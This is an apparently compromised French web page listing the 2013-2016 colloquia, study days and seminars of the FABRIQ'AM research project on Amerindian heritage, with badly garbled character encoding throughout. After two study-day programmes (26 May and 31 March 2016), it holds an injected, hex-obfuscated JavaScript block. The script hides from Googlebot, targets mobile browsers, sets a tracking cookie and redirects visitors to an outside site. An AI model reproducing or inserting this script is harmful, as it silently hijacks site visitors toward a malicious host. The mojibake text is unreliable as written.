Nos activitA�s (2013-2016)

Nos activitA�s (2013-2016)

  • Colloques
Reshuffling of knowledge and the making of autochthonous cultural heritage: ethnographicalA�perspectives | Mise en patrimoine et recomposition de rA�gimes de savoir. EthnographieA�da��expA�riences autochtones. Ariel de Vidas, Anath, Vapnarsky, Valentina (orgs). Panel In :A�The Conference of the Association for Critical Heritage Studies (ACHS), TroisiA?meA�ConfA�rence biannuel, a�?Le patrimoine, A�a change quoi ? / What does heritage change ?a��, le 4A�juin 2016, MontrA�al.
(Programme)

 

Colloque final du projet ANR Fabriqa��am: a�?Culture : modes da��emploi. La patrimonialisation A�
la��A�preuve du terraina��, Ariel de Vidas, Anath, V. Vapnarsky (avec le concours de M. H.A�Dziubinska,) (orgs), La Barge du Crous, les 30 mai-1er juin 2016, Paris.
(Programme)

 

Colloquio internacional FABRIQ’AM a�?La fabrica del a�?patrimonioa�? en las sociedadesA�amerindias : regA�menes de temporalidad, historicidad y transmisiA?na��, P. Cruz, L. CharlierA�Zeineddine, F. Tola et V. Vapnarsky (orgs), CONICET, FundaciA?n Instituto de EstudiosA�Budistas, les 7-8 dA�cembre 2015, Buenos Aires.
(Programme)

 

Atelier de dA�marrage de la��ANR Fabriqa��am, A. Ariel de Vidas et V. Vapnarsky (org),A�MAE/LESC, les 23-24 mai 2013, Nanterre.
(Programme)

 

  • JournA�es da��A�tude et sA�minaires
JournA�e da��A�tude international Fabriqa��am a�?Le cinema amA�rindien aujourda��hui : Genres,A�auteurs, effetsa��, I. Penoni et E. de Vienne., UniversitA� Paris Ouest Nanterre La DA�fense, le 26A�mai 2016, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Du Hip Hop A� WhatsApp : Nouvelles formes de communicationA�chez les AmA�rindiensa��, K. Aviles Gonzalez et V. Vapnarsky (orgs), EHESS, le 31 mars 2016,A�Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimoine culturel et propriA�tA� intellectuelle’, M. MartA�nezA�Mauri et C. Yvinec (orgs), LESC/MAE, le 23 mars 2016, Nanterre.
(Programme)

 

SA�minaire de travail interne pour la prA�paration du colloque final, Moulin da��AndA�, 28 fA�vrier-2 mars 2016.
(Programme)

 

JournA�es da��A�tude commune Fabriqa��Am-Etnomat ‘Les objets matA�riels dans les processus deA�patrimonialisation (EtnoMat)’, M. MartA�nez Mauri,, J. Tomas, C. Yvinec (org.), UniversitA� deA�Barcelone, les 4-5 fA�vrier 2016, Barcelone.
(Programme)

 

JournA�e da��A�tude de Fabriqa��am a�?Les concours de beautA� dans les AmA�riques indiennes:A�performance, glamour et patrimonialisationa��, M. H. Dziubinska et G. DeshoulliA?re (orgs), LESC/MAE, le 11 dA�cembre 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Circonscrire le patrimoinea��, S. Macedo (org), LESC/MAE, le 25A�juin 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Territoires et identitA�s : une approche patrimonialea��, Boyer, V.A�et Stoll, E. (org), EHESS, le 13 mai 2015, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation en situation de migrationa��, S. PA�dronA�Colombani (org), LESC/MAE, le 16 avril 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et rA�gimes da��historicitA� (II) : Le secreta��,A�Laurence Charlier-Zeineddine (org), EHESS, le 2 mars 2015, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?De la restitution intelligible A� la rA�appropriation activea��, P.A�Erikson et J-M. Beaudet (orgs), LESC/MAE, le 30 janvier 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Des Vestiges: pratiques memorielles, inscriptions temporelles etA�engagement politique dans les mondes amerindiensa��, V. Vapnarsky et L. Charlier Zeineddine,A�LESC/MAE, le 24 octobre 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?La fabrique de A� communautA�s patrimoniales A�a��, C. BortolottoA�(org), LESC/MAE, le 15 mai 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et rA�gimes da��historicitA� (I). Nostalgie etA�patrimoinea��, Laurence Charlier Zeineddine (org), LESC/MAE, le 26 mars 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et mise en spectacle du rituel en Amazonie’,A�N. PA�tesch, C. Nahum-Claudel et C. Yvinec (org), LAS, 13 fA�vrier 2014, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les oralitA�s secondesa��, A. Ariel de Vidas (org), EHESS, le 23A�janvier 2014, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les termes de la patrimonialisationa��, A. Ariel de Vidas et M.A�Chosson (org), EHESS, le 9 dA�cembre 2013, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les entrepreneurs de patrimonialisationa��, S. Macedo et G.A�Collomb (org), CollA?ge de France, le 27 novembre 2013, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Embrayeurs et patrimonialisationa��, A-G. Bilhaut et A. HA�mondA�(org), LESC/MAE, le 17 octobre 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: Intervention de Jean-FrA�dA�rique Schaub, LESC/MAE, le 16 maiA�2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentations de Silvia Macedo et da��Andrea-Luz GutierrezA�Choquevila, LESC/MAE, le 18 avril 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentation de Julie Carpentier, LESC/MAE, le 4 avril 2013,A�Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: a�?PrA�sentation de GA�rard Collomb, LESC/MAE, le 21 mars 2013,A�Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentations de CA�dric Yvinec et de Vincent Hirtzel, LESC/MAE,A�le 21 fA�vrier 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am a�?RA�union de lancement et modalities da��organisation du projeta��,A�LESC/MAE, le 7 fA�vrier 2013, Nanterre.
(Programme)

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Colloque final (30/05-01/06/2016) : « Culture : Modes d’emploi. La patrimonialisation A� l’A�preuve du terrain »

Colloque final du projet ANR FABRIQ’AM

30 mai a�� 1er juin 2016

Culture : Modes d’emploi
La patrimonialisation A� l’A�preuve du terrain

La Barge du CROUS, Quai FranA�ois Mauriac
Port de la Gare
75013 Paris

Programme et rA�sumA�s: tA�lA�charger ici

Lundi 30 mai
10h-12h30

Introduction gA�nA�rale
Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Valentina Vapnarsky (CNRS-EREA/LESC)

ConfA�rence de Michael Herzfeld
(Department of Anthropology, Harvard University, A�tats-Unis)
Patrimoine et propriA�tA� :A�Les origines bureaucratiques et scientifiques des conflits culturels

Session I – 14h-17h30
Culture et patrimoine : quels termes in situ ?
PrA�sidente de sA�ance : Aurore Monod Becquelin ( (CNRS-LESC)

Introduction :
A� Avons-nous de la culture ? A� InterfA�rences terminologiques dans et au-delA� des processus de patrimonialisation.A�
Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)

Discutante de la session : Anne-Christine Taylor (CNRS-EREA/LESC)

  • Une indianitA� interculturelle ? Cultura et nouveaux modes de gouvernance.A�Marie Chosson (INALCO-CESSMA) et Julie Carpentier (EREA/LESC)
  • Les coutumes entre paganisme et barbarie : El costumbre A� le coutume A� (Nahua, Mexique) et la mala costumbre A� la mauvaise coutume A� (YurakarA�, Bolivie).A�Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)
  • Du mode da��A?tre A� la culture.A�Isabelle Daillant (CNRS-EREA/LESC)
  • La A� culture A� dans les grammaires amA�rindiennes.A�CA�dric Becquey (EREA/LESC), Valentina Vapnarsky (CNRS-EREA/LESC) et CA�dric Yvinec (LAS)
A�Cocktail d’ouverture

Mardi 31 mai

Session II – 9h-12h30
Indiens sur scA?nes, A�trangers captivA�s
PrA�sident de sA�ance : Emmanuel de Vienne (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
Mise en spectacle de la culture et secret.A�
Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC), CA�dric Yvinec (LAS), ChloA� Nahum-Claudel (University of Cambridge)

  • Les concours de beautA� amA�rindiens. Nouvelles formes de spectacularisation de l’indianitA�.A�Magda Helena Dziubinska (EREA/LESC)
  • Shamanism, Patrimony and Indigenous Autonomy in Contemporary Colombia: Negotiating identity in a context of violence.A�E. Jean Langdon (Universidade Federal de Santa Catarina, BrA�sil)
  • Danseurs wayA?pi aux Festival da��Avignon. Un spectacle interculturel, un acte diplomatique.A�Jean-Michel Beaudet (UniversitA� Paris Ouest Nanterre-CREM/LESC)
  • CommA�morer un massacre, enfouir les secrets dans les Andes du PA�rou.A�ValA�rie Robin AzevedoA�(UniversitA� Paris Descartes-CANTHEL)
  • Montrer pour cacher : la transmission da��un savoir rituel shuar (Amazonie A�quatorienne) dans le contexte nA�o-chamanique.A�Katarzyna Zajda (EPHE-IMAF)

Session III – 14h-17h15
De la��A�vanescence et de la pA�rennitA� des choses
PrA�sident de sA�ance : Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
De la��A�vanescence et de la pA�rennitA� des choses.A�
Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS EREA/LESC)

  • Vertigineux vestiges : temps de pierres en pays maya et aymara.A�Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS-EREA/LESC), Marie Chosson (INALCO-CESSMA), CA�dric Becquey (EREA/LESC) et Helios Figuerola Pujol (EREA/LESC)
  • Des vestiges toujours actifs. MA�moires et temporalitA�s dans les Andes de Bolivie.A�Pablo Cruz (CONICET) et Gilles RiviA?re (EHESS-CERMA/MOndesAM )
  • Les vestiges comme source de lA�gitimation territoriale.A�Pirjo Virtanen (UniverstitA� de Helsinki, EREA/LESC), Emilie Stoll (IRD-PALOC), Florencia Tola (CONICET)
  • Traces de malemorts ou lieu de nostalgie ? Sanctification et/ou patrimonialisation da��un village noir dA�truit (Choco, Colombie).A�Anne-Marie Losonczy (EPHE-CERMA/MOndesAM)

ConfA�rence de Fernando Santos-Granero – 17h30-18h30
(Smithsonian Tropical Research Institute, Panama)
Patrimonialization, Defilement & the Zombification of Cultural Heritage

Mercredi 1er juin

Session IV – 10h-12h30
Dilemmes participatifs et jeux de lA�gitimation
PrA�sident de sA�ance : Patrick Deshayes (UniversitA� Lyon II, EREA/LESC)

Introduction:
Dilemmes participatifs et jeux de lA�gitimation dans la patrimonialisation.A�
Chiara Bortolotto (ANR, UNESCO Frictions), , Silvia Macedo (EREA/LESC), VA�ronique Boyer (CNRS-CRBC/MOndesAM), GA�rard Collomb (CNRS-LAIOS/IIAC), Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA « Habiter le monde ») et Sylvie Pedron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Discutante de la session : Sylvie Sagnes (CNRS-IIAC/LAHIC)

  • De quelques points de vue sur la formation de chercheurs amA�rindiens au BrA�sil.A�Dominique Tilkin Gallois (Universidade de SA?o Paulo-CEstA, BrA�sil)
  • Nouveaux acteurs, logiques anciennes ? La patrimonialisation du territoireA�(BrA�sil, Colombie).A�VA�ronique Boyer (CNRS-CRBC/MOndesAM) et Odile Hoffmann (IRD-URMIS)
  • Construire et inventer le patrimoine zA?para. Acteurs, intA�rA?ts, conflits enA�Amazonie A�quatorienne.A�Anne-GaA�l Bilhaut (URA-IKIAM, EREA/LESC)

14h-15h30

  • Prises multiples du A� patrimoine culturel immatA�riel A�, A� partir du haut et du basA�Maroni (Guyane).A�GA�rard Collomb (CNRS-LAIOS/IIAC) et Thomas Mouzard (Direction des affaires culturelles de Guyane/MinistA?re de la Culture)
  • Patrimoine et migration : processus transnationaux de collaboration, construction et lA�gitimation A� partir de deux A�tudes de cas (Nahua et Mayas vers les A�tats-Unis).A�Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA « Habiter le monde ») et Sylvie PA�dron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

ConfA�rence de Claudia Briones – 16h-17h
(Instituto de Investigaciones en Diversidad Cultural y Procesos de Cambio, Universidad Nacional de RA�o Negro-CONICET, Argentine)
« Spirituality… We do not have such a thing »: Patrimonialization processes as minefields

17H : Discussion gA�nA�rale

Cocktail de clA?ture

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JournA�e d’A�tude (26/05/2016) : « Le cinA�ma amA�rindien aujourd’hui »

JournA�e d’A�tude FABRIQ’AM

(ANR, LESC & MONDESAM)

A�26 Mai 2016

Le cinA�ma amA�rindien aujourd’hui :
genres, auteurs, effets.

A�AmphithA�A?tre du bA?timent Max Weber,
UniversitA� de Nanterre

Programme, rA�sumA� et plan d’accA?s : tA�lA�charger ici

La��usage de la vidA�o est dA�sormais gA�nA�ralisA� dans les populations autochtones en AmA�rique du Sud. Il gA�nA?re uneA�production importante, tant par ses effets sur les sociA�tA�s concernA�es que pour le dA�fi qua��il adresse au cinA�maA�classique. MA�dium de la relation interethnique, outil de reprA�sentation politique, moyen da��obtenir des ressourcesA�financiA?res, forme da��expression artistique ouvrant A� des carriA?res internationales, support da��apprentissage rituel ouA�chorA�graphique ou simple captation A� usage domestique da��un micro A�vA�nement, les films indiens contemporainsA�prA�sentent des physionomies trA?s variA�es et touchent des publics trA?s divers. Cette journA�e da��A�tude entend explorerA�cette diversitA� de formes et de fonctions. Son enjeu principal est de chercher A� dA�passer, par la��analyse de filmsA�spA�cifiques, la��opposition entre deux lectures A�galement univoques : celle de la��acculturation da��une part (les vidA�osA�sont la��indice da��une mondialisation passivement reA�ue), celle de la��appropriation da��autre part (les vidA�os sontA�activement et dA�libA�rA�ment indigA�nisA�es).

Org. :A�Isabel Penoni (MusA�e du quai Branly) et Emmanuel de Vienne (UPO-LESC/EREA)var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JournA�e d’A�tude internationale (31/03/2016) : « DU HIP HOP A� WHATSAPP »

JournA�e d’A�tude internationale FABRIQ’AM

(ANR, LESC & MONDESAM)

A�31 Mars 2016

Du Hip Hop A� WhatsApp :
Nouvelles formes de communication chez les amA�rindiens.

A�EHESS 105 bd. Raspail
salle 8

Programme et rA�sumA� : tA�lA�charger ici

matin

10h00:PrA�sentation Karla J. AvilA�s GonzA?lez (LABEX EFL, Paris 7 / EREA) et Valentina Vapnarsky (EREA/LESC, CNRS)

10h10-11h: Josep Cru (UniversitA� de Newcastle, Angleterre) : Bilingual rap in Yucatan: Strategic choices for the revitalisation of Amerindian languages.

11h-11h50: Hilario Chi Canul (UniversitA� du Quintana Roo, Mexique) : Vitalidad lingA?A�stica y cultural de los mayas en tiempos de WasKa��oop (a�?CoscorrA?n con tinoa�? – grupo whatsApp maya internacional). Donde la modernidad y la tradiciA?n buscan un punto de encuentro.

11h50-12h: Pause

12h-12h30: MA?nica Celeida Rabelo Nogueira & Cristiane De Assis Portela (UniversitA� de Brasilia) : Apropiaciones tecnolA?gicas y reinterpretaciones culturales entre estudiantes indA�genas de Brasil.

AprA?s-midi

14h-14h30: Magda Helena Dziubinska (LESC-EREA) : L’amour amA�rindien sur Facebook (ou quand l’anthropologie frA?le le voyeurisme).

14h30-15h: Marie-Pierre Bousquet (UniversitA� de MontrA�al) : A� Ca��est quoi ton Facebook?A� Vie privA�e, vie publique des Algonquins du QuA�bec.

15h-15h30: Pirjo Kristiina Virtanen (UniversitA� de Helsinki) : Social media in indigenous Brazilian Amazonia a�� digital exchanges.

15h30-16h00: Pause

16h-16h30: Genner Llanes-Ortiz (CIESAS, Mexico / Global Raising Voices) : Activismo Digital de Lenguas IndA�genas: avances en la comprensiA?n de un nuevo campo de acciA?n en AmA�rica Latina.

16h30-17h15: DiscusiA?n / Discussion / Discusion

Discutant de la journA�e : GrA�gory Delaplace (UniversitA� Paris Ouest Nanterre, LESC)

Org. : LESC – Karla AvilA�s GonzA?lez (Labex EFL, Paris 7) & Valentina Vapnarsky (EREA/LESC, CNRS)var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JournA�e d’A�tude (23/03/2016): « Patrimoine culturel et propriA�tA� intellectuelle »

JournA�e da��A�tude FABRIQ’AM

A�23 mars 2016

Patrimoine culturel et propriA�tA� intellectuelle

A�LESC
MAE, salle 308
21, allA�e de l’UniversitA�, Nanterre

JournA�e da��A�tude organisA�e en partenariat entre les projets Fabriqa��Am et EtnoMat.
Organisateurs : Monica Martinez Mauri (EtnoMat) et CA�dric Yvinec (Fabriqa��Am)

ProgrammeA�:A�

10h00: Accueil, introduction : MA?nica MARTA?NEZ MAURI et CA�dric YVINEC,A�Discutante : Anne-Christine TAYLOR (CNRS).
10h30: Jordi TOMAS (UniversitA� de Barcelone) : A� Le passA� des objets et le futur de la propriA�tA� intellectuelle. Une recherche en cours chez les Joola de Casamance (SA�nA�gal).A�
11h00: Perig PITROU (CNRS) : A� Tlahuitoltepec vs Isabel Marant vs Antik Batik. Quand une communautA� da��Indiens mixe (Mexique) se dA�fend contre le plagiat et les tentatives da��appropriation da��un motif traditionnel. A�
11h30: MA?nica MARTA?NEZ MAURI (UniversitA� de Barcelone) : A� Les compositions textiles mola des Guna (Panama) : propriA�tA� intellectuelle, emblA?me identitaire et marchandise globalisA�e. A�
12h00: Discussion
12h30: Pause, buffet.
14h00: GA�rard COLLOMB (CNRS) et David JABIN (UniversitA� Paris Ouest Nanterre) : A� Amers brevets. Savoirs autochtones, accusation de biopiraterie et recherche publique. A�
14h45: Vincent NA�GRI (CNRS) : A� Patrimoine, propriA�tA�, souverainetA� : jeux de (dA�)construction. A�
15h15: Discussion et conclusion.

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SA�minaire de travail interne (29/02-02/03/2016) – Moulin d’AndA�e

SA�minaire de travail interne pour la prA�paration du colloque final

A�les 29 fA�vrier-2 mars 2016

A�Moulin da��AndA�

Objectifs :

1. Construction scientifique du colloque final de FABRIQa��AM qui se tiendra A� Paris du 30 mai au 1er juin 2016 :

  • 3 sA�ances de travail (lundi aprA?s-midi, mardi et mercredi matin) des cinq A�quipes pour la conception de leur session : rA�flexion sur la structure (prA�sentation de synthA?se, prA�sentation de binA?mes et trinA?mes de cas, noms de discutants, intervenants extA�rieurs de FABRIQa��AMa��)
  • 2 sA�ances plA�niA?res (mardi et mercredi aprA?s-midi) oA? seront prA�sentA�es les avancA�es et propositions de chaque A�quipe ; oA? seront pensA�es les articulations entre les thA�matiques et les passages A�ventuels (ajustements) de participants da��une session A� la��autre ; oA? on fera des propositions de discutants pour chaque session et da��invitA�s et oA? la��on organisera la structure du programme gA�nA�ral du colloque.

2. Plan et calendrier des publications de nos rA�sultats au moyen da��ouvrages, articles, dossiers dans des revues, filmsa��

  • Il faudra penser le contenu de chaque session comme donnant lieu ultA�rieurement A� un ouvrage ou un dossier dans une revue et sa��y ajouteront alors une introduction-synthA?se, des articles de chaque A�tude de cas qui se feront A�cho les uns avec les autresa��

ProgrammeA�:A�

Lundi 29 fA�vrierA�:A�
ArrivA�e en fin de matinA�e et installation + rA�union introductive, plA�niA?re.
13h00: dA�jeuner
AprA?s-midi – rA�unions par groupe.
20h: dA�ner

 

Mardi 1er mars :
8h: Petit-dA�jeuner
MatinA�e – rA�unions par groupes
13h: dA�jeuner
AprA?s midi-rA�union plA�niA?re sur l’organisation scientifique du colloque.

 

Mercredi 2 marsA�:
8h: Petit-dA�jeuner
MatinA�e – rA�unions par groupes
13h: dA�jeuner
AprA?s midi, rA�union plA�niA?re sur l’organisation scientifique du colloque.
17h:A�fin

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SA�minaire international (04-05/02/2016) : « Los objetos materiales en los procesos de patrimonializaciA?n »

SA�minaire international du projet ANR FABRIQ’AM

4A�fA�vriera�� 5A�fA�vrierA�2016

Los objetos materiales en los procesos de patrimonializaciA?n

Seminaris del Dpt. de antropologA�a,
Universitat de Barcelona, Campus Raval,
Barcelona

 

4 fA�vrier 2016

10h

  • PresentaciA?n de las jornadas.A�MA?nica MartA�nez Mauri i Jordi TomA�s

 

Session I.

IdentificaciA?n y distinciA?n a travA�s de los objetos

